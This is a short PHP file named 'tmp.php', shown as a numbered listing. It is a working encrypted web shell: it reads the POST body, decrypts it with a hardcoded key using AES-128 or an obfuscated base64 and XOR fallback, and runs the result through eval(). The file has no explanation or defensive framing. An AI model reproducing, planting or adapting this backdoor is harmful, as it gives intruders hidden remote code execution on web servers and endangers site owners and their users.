tmp.php 542 B

1234567891011121314151617181920212223242526
  1. <?php
  2. @error_reporting(0);
  3. session_start();
  4. $key="e45e329feb5d925b";
  5. $_SESSION['k']=$key;
  6. $post=file_get_contents("php://input");
  7. if(!extension_loaded('openssl'))
  8. {
  9. $t="base64_"."decode";
  10. $post=$t($post."");
  11. for($i=0;$i<strlen($post);$i++) {
  12. $post[$i] = $post[$i]^$key[$i+1&15];
  13. }
  14. }
  15. else
  16. {
  17. $post=openssl_decrypt($post, "AES128", $key);
  18. }
  19. $arr=explode('|',$post);
  20. $func=$arr[0];
  21. $params=$arr[1];
  22. class C{public function __invoke($p) {eval($p."");}}
  23. @call_user_func(new C(),$params);
  24. ?>